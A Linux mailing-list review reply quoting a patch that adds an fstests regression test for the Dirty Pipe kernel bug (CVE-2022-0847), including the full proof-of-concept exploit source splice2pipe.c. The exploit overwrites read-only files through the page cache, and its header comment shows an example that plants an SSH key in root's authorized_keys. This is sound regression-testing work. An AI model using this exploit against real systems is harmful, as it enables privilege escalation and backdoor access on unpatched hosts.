Re: [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847

["Darrick J. Wong" <djwong@kernel.org>]

On Tue, Apr 12, 2022 at 12:37:10AM +0800, Zorro Lang wrote:
> Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> uninitialized  "pipe_buffer.flags" variable. The bug cause a file
> can be overwritten even if a user/process is not permitted to write
> it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in
> new pipe_buffer").
> 
> Cc: Max Kellermann <max.kellermann@ionos.com>
> Signed-off-by: Zorro Lang <zlang@redhat.com>

Still looks ok...
Reviewed-by: Darrick J. Wong <djwong@kernel.org>

--D

> ---
>  .gitignore            |   1 +
>  src/Makefile          |   2 +-
>  src/splice2pipe.c     | 158 ++++++++++++++++++++++++++++++++++++++++++
>  tests/generic/999     |  48 +++++++++++++
>  tests/generic/999.out |   9 +++
>  5 files changed, 217 insertions(+), 1 deletion(-)
>  create mode 100644 src/splice2pipe.c
>  create mode 100755 tests/generic/999
>  create mode 100644 tests/generic/999.out
> 
> diff --git a/.gitignore b/.gitignore
> index 11405bd2..5f24909e 100644
> --- a/.gitignore
> +++ b/.gitignore
> @@ -125,6 +125,7 @@ tags
>  /src/runas
>  /src/seek_copy_test
>  /src/seek_sanity_test
> +/src/splice2pipe
>  /src/splice-test
>  /src/stale_handle
>  /src/stat_test
> diff --git a/src/Makefile b/src/Makefile
> index 88877ac9..24aef09b 100644
> --- a/src/Makefile
> +++ b/src/Makefile
> @@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
>  	dio-invalidate-cache stat_test t_encrypted_d_revalidate \
>  	attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
>  	fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
> -	detached_mounts_propagation ext4_resize t_readdir_3
> +	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe
>  
>  EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
>  	      btrfs_crc32c_forged_name.py
> diff --git a/src/splice2pipe.c b/src/splice2pipe.c
> new file mode 100644
> index 00000000..bd33ff67
> --- /dev/null
> +++ b/src/splice2pipe.c
> @@ -0,0 +1,158 @@
> +/* SPDX-License-Identifier: GPL-2.0 */
> +/*
> + * Copyright 2022 CM4all GmbH / IONOS SE
> + *
> + * author: Max Kellermann <max.kellermann@ionos.com>
> + *
> + * Proof-of-concept exploit for the Dirty Pipe
> + * vulnerability (CVE-2022-0847) caused by an uninitialized
> + * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
> + * file contents in the page cache, even if the file is not permitted
> + * to be written, immutable or on a read-only mount.
> + *
> + * This exploit requires Linux 5.8 or later; the code path was made
> + * reachable by commit f6dd975583bd ("pipe: merge
> + * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
> + * there before, it just provided an easy way to exploit it.
> + *
> + * There are two major limitations of this exploit: the offset cannot
> + * be on a page boundary (it needs to write one byte before the offset
> + * to add a reference to this page to the pipe), and the write cannot
> + * cross a page boundary.
> + *
> + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
> + *
> + * Further explanation: https://dirtypipe.cm4all.com/
> + */
> +#ifndef _GNU_SOURCE
> +#define _GNU_SOURCE
> +#endif
> +#include <unistd.h>
> +#include <fcntl.h>
> +#include <stdio.h>
> +#include <stdlib.h>
> +#include <string.h>
> +#include <sys/stat.h>
> +#include <sys/user.h>
> +
> +/**
> + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
> + * PIPE_BUF_FLAG_CAN_MERGE flag set.
> + */
> +static void prepare_pipe(int p[2])
> +{
> +	if (pipe(p)) {
> +		perror("pipe failed");
> +		abort();
> +        }
> +
> +	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
> +	static char buffer[4096];
> +
> +	/* fill the pipe completely; each pipe_buffer will now have
> +	   the PIPE_BUF_FLAG_CAN_MERGE flag */
> +	for (unsigned r = pipe_size; r > 0;) {
> +		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> +		write(p[1], buffer, n);
> +		r -= n;
> +	}
> +
> +	/* drain the pipe, freeing all pipe_buffer instances (but
> +	   leaving the flags initialized) */
> +	for (unsigned r = pipe_size; r > 0;) {
> +		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> +		read(p[0], buffer, n);
> +		r -= n;
> +	}
> +
> +	/* the pipe is now empty, and if somebody adds a new
> +	   pipe_buffer without initializing its "flags", the buffer
> +	   will be mergeable */
> +}
> +
> +int main(int argc, char **argv)
> +{
> +	if (argc != 4) {
> +		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
> +		return EXIT_FAILURE;
> +	}
> +
> +	/* dumb command-line argument parser */
> +	const char *const path = argv[1];
> +	loff_t offset = strtoul(argv[2], NULL, 0);
> +	const char *const data = argv[3];
> +	const size_t data_size = strlen(data);
> +	int page_size = sysconf(_SC_PAGESIZE);
> +	if (page_size == -1)
> +		page_size = 4096;
> +
> +	if (offset % page_size == 0) {
> +		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
> +		return EXIT_FAILURE;
> +	}
> +
> +	const loff_t next_page = (offset | (page_size - 1)) + 1;
> +	const loff_t end_offset = offset + (loff_t)data_size;
> +	if (end_offset > next_page) {
> +		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
> +		return EXIT_FAILURE;
> +	}
> +
> +	/* open the input file and validate the specified offset */
> +	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
> +	if (fd < 0) {
> +		perror("open failed");
> +		return EXIT_FAILURE;
> +	}
> +
> +	struct stat st;
> +	if (fstat(fd, &st)) {
> +		perror("stat failed");
> +		return EXIT_FAILURE;
> +	}
> +
> +	if (offset > st.st_size) {
> +		fprintf(stderr, "Offset is not inside the file\n");
> +		return EXIT_FAILURE;
> +	}
> +
> +	if (end_offset > st.st_size) {
> +		fprintf(stderr, "Sorry, cannot enlarge the file\n");
> +		return EXIT_FAILURE;
> +	}
> +
> +	/* create the pipe with all flags initialized with
> +	   PIPE_BUF_FLAG_CAN_MERGE */
> +	int p[2];
> +	prepare_pipe(p);
> +
> +	/* splice one byte from before the specified offset into the
> +	   pipe; this will add a reference to the page cache, but
> +	   since copy_page_to_iter_pipe() does not initialize the
> +	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
> +	--offset;
> +	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
> +	if (nbytes < 0) {
> +		perror("splice failed");
> +		return EXIT_FAILURE;
> +	}
> +	if (nbytes == 0) {
> +		fprintf(stderr, "short splice\n");
> +		return EXIT_FAILURE;
> +	}
> +
> +	/* the following write will not create a new pipe_buffer, but
> +	   will instead write into the page cache, because of the
> +	   PIPE_BUF_FLAG_CAN_MERGE flag */
> +	nbytes = write(p[1], data, data_size);
> +	if (nbytes < 0) {
> +		perror("write failed");
> +		return EXIT_FAILURE;
> +	}
> +	if ((size_t)nbytes < data_size) {
> +		fprintf(stderr, "short write\n");
> +		return EXIT_FAILURE;
> +	}
> +
> +	return EXIT_SUCCESS;
> +}
> diff --git a/tests/generic/999 b/tests/generic/999
> new file mode 100755
> index 00000000..111dde06
> --- /dev/null
> +++ b/tests/generic/999
> @@ -0,0 +1,48 @@
> +#! /bin/bash
> +# SPDX-License-Identifier: GPL-2.0
> +# Copyright (c) 2022 Red Hat, Inc.  All Rights Reserved.
> +#
> +# FS QA Test No. 999
> +#
> +# Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> +# uninitialized  "pipe_buffer.flags" variable, which fixed by:
> +#   9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer")
> +#
> +. ./common/preamble
> +_begin_fstest auto quick
> +
> +# real QA test starts here
> +_supported_fs generic
> +_require_test
> +_require_user
> +_require_chmod
> +_require_test_program "splice2pipe"
> +
> +localfile=$TEST_DIR/testfile.$seq
> +rm -f $localfile
> +
> +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> +# permission on it
> +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
> +chmod 0644 $localfile
> +# Test privileged user (xfstests generally run with root)
> +echo "Test privileged user:"
> +$here/src/splice2pipe $localfile 1 "AAAAAAAABBBBBBBB"
> +# Part of 0xff will be overwritten if there's CVE-2022-0847 bug
> +_hexdump $localfile
> +
> +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> +# permission on it
> +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
> +chmod 0644 $localfile
> +# Copy splice2pipe to a place which can be run by an unprivileged user (avoid
> +# something likes /root/xfstests/src/splice2pipe)
> +cp $here/src/splice2pipe $tmp.splice2pipe
> +# Test unprivileged user's privilege escalation
> +echo "Test unprivileged user:"
> +su ${qa_user} -c "$tmp.splice2pipe $localfile 1 AAAAAAAABBBBBBBB"
> +_hexdump $localfile
> +
> +# success, all done
> +status=0
> +exit
> diff --git a/tests/generic/999.out b/tests/generic/999.out
> new file mode 100644
> index 00000000..a142909b
> --- /dev/null
> +++ b/tests/generic/999.out
> @@ -0,0 +1,9 @@
> +QA output created by 999
> +Test privileged user:
> +000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  >................<
> +*
> +001000
> +Test unprivileged user:
> +000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  >................<
> +*
> +001000
> -- 
> 2.31.1
>